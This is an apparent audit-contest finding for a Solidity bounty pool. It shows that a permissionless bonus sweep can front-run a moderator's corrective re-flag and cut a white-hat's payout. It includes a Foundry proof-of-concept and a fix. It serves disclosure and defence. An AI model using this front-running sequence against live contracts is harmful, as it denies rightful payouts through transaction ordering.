FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: low
Likelihood: low

Permissionless sweepUnclaimedBonus during the pre-claim re-flag window makes the attacker bounty order-dependent, settling the pool into a distribution matching no defined outcome

Author Revealed upon completion

Root + Impact

Description

  • The protocol defines exactly three terminal outcomes, each with a fully specified settlement: SURVIVED/EXPIRED return funds to stakers (or, with no observed risk window, route the bonus to recoveryAddress under a stable SURVIVED), and good-faith CORRUPTED sends the whole pool — principal and bonus — to the named attacker. The moderator may re-flag the outcome pre-claim to correct a scope judgement, which is a documented, supported path.

  • While the outcome transiently reads SURVIVED but is not yet stable, the permissionless sweepUnclaimedBonus() irreversibly transfers the bonus to recoveryAddress. When the moderator then corrects the outcome to good-faith CORRUPTED, the funds are already gone, and the pool settles into outcome = CORRUPTED, bounty -> attacker, bonus -> recoveryAddress — a distribution no defined outcome produces. The final attacker bounty therefore depends on whether the sweep executed before the corrective re-flag, not solely on the final outcome.

function sweepUnclaimedBonus() external nonReentrant {
if (outcome != PoolStates.Outcome.SURVIVED && outcome != PoolStates.Outcome.EXPIRED) {
revert OutcomeNotEligibleForSweep(); // callable while the outcome is still re-flaggable
}
...
if (totalEligibleStake == 0 || riskWindowStart == 0) {
totalBonus -= amount <= totalBonus ? amount : totalBonus;
}
@> stakeToken.safeTransfer(recoveryAddress, amount); // @> irreversible value movement, pre-finality
// does NOT set claimsStarted, so the corrective re-flag window stays open afterwards
}
function flagOutcome(...) external onlyModerator {
...
@> snapshotTotalBonus = totalBonus; // @> snapshots the already-reduced bonus
@> bountyEntitlement = willBeGoodFaithCorrupted ? snapshotTotalStaked + snapshotTotalBonus : 0;
}
function claimAttackerBounty() external nonReentrant {
...
@> uint256 payout = remaining <= freeBalance ? remaining : freeBalance; // @> bounded by drained balance
}

Risk

Likelihood:

  • When the registry reaches a terminal state without the pool observing the active-risk window (riskWindowStart == 0), the full bonus is unreserved and sweepable in a single call.

  • When the moderator flags SURVIVED and then corrects to good-faith CORRUPTED — the out-of-scope -> in-scope judgement revision the pre-claim re-flag window exists to support — a transient SURVIVED window is opened.

  • When any unprivileged account calls sweepUnclaimedBonus() during that transient window (the pending correction is mempool-observable), the bonus leaves permanently before the correction lands; the moderator cannot prevent the front-run of their own correction.

Impact:

  • The good-faith attacker (white-hat) is permanently denied the entire bonus portion of the bounty the corrected outcome awards them (PoC: 100e18 instead of 600e18). No theft occurs — the funds go to recoveryAddress (trusted) — so this is a misallocation of a prescribed payment, which bounds the severity to Low.

  • The pool settles into a final distribution — CORRUPTED outcome with the bonus at recoveryAddress — that matches none of the protocol's three defined outcomes.

  • The final settlement depends on transaction ordering rather than solely on the final outcome. DESIGN.md §4 keys resolution finality on value movement ("once value has left the contract, a corrective re-flag cannot be honored without breaking balance accounting"); the sweep is value leaving, yet the corrective re-flag is honored and accounting breaks — though the same section also calls a claim "the distribution-locking event," so the specification is internally ambiguous on whether this is prohibited.

Proof of Concept

Paste into a new file test/OrderDependencePoC.t.sol and run forge test --match-test test_orderDependenceOfReflagAndSweep -vv. Same initial state, same final outcome — only the ordering differs; both assertions pass:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {BaseConfidencePoolTest} from "test/helpers/BaseConfidencePoolTest.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
contract OrderDependencePoC is BaseConfidencePoolTest {
function test_orderDependenceOfReflagAndSweep() public {
uint256 staked = 100 * ONE;
uint256 bonus = 500 * ONE;
// riskWindowStart stays 0: stake pre-staging, never pass through active risk.
_stake(alice, staked);
_contributeBonus(dave, bonus);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.CORRUPTED);
assertEq(pool.riskWindowStart(), 0);
// Identical transient-SURVIVED starting state for both branches.
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
uint256 base = vm.snapshotState();
// Order 1: sweep BEFORE the corrective re-flag -> bonus leaves; attacker gets principal only.
vm.prank(makeAddr("griefer"));
pool.sweepUnclaimedBonus();
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.CORRUPTED, true, attacker);
uint256 beforeA = token.balanceOf(attacker);
vm.prank(attacker);
pool.claimAttackerBounty();
uint256 payoutOrder1 = token.balanceOf(attacker) - beforeA; // 100e18
// Order 2: re-flag BEFORE the sweep -> once CORRUPTED the sweep reverts; attacker gets whole pool.
vm.revertToState(base);
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.CORRUPTED, true, attacker);
vm.prank(makeAddr("griefer"));
vm.expectRevert(); // OutcomeNotEligibleForSweep
pool.sweepUnclaimedBonus();
uint256 beforeB = token.balanceOf(attacker);
vm.prank(attacker);
pool.claimAttackerBounty();
uint256 payoutOrder2 = token.balanceOf(attacker) - beforeB; // 600e18
assertEq(payoutOrder1, staked); // 100e18 — bonus lost
assertEq(payoutOrder2, staked + bonus); // 600e18 — whole pool
assertEq(payoutOrder2 - payoutOrder1, bonus); // final distribution set by ORDER, not outcome
}
}

Recommended Mitigation

Prevent an irreversible bonus movement while the outcome remains subject to correction. The branch that moves the bonus itself (not donation excess) is the one that must not race a re-flag, so finalize when it fires:

if (totalEligibleStake == 0 || riskWindowStart == 0) {
totalBonus -= amount <= totalBonus ? amount : totalBonus;
+ // This branch transfers the bonus itself, not donation excess. Because that is an
+ // irreversible value movement, finalize the outcome so a later corrective re-flag
+ // cannot settle the pool into a distribution the outcome does not prescribe.
+ claimsStarted = true;
}

Alternatively, on a corrective re-flag to good-faith CORRUPTED, derive bountyEntitlement from the pool's actual balance so the final distribution always matches the final outcome regardless of any prior operation. Either approach removes the ordering dependence.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!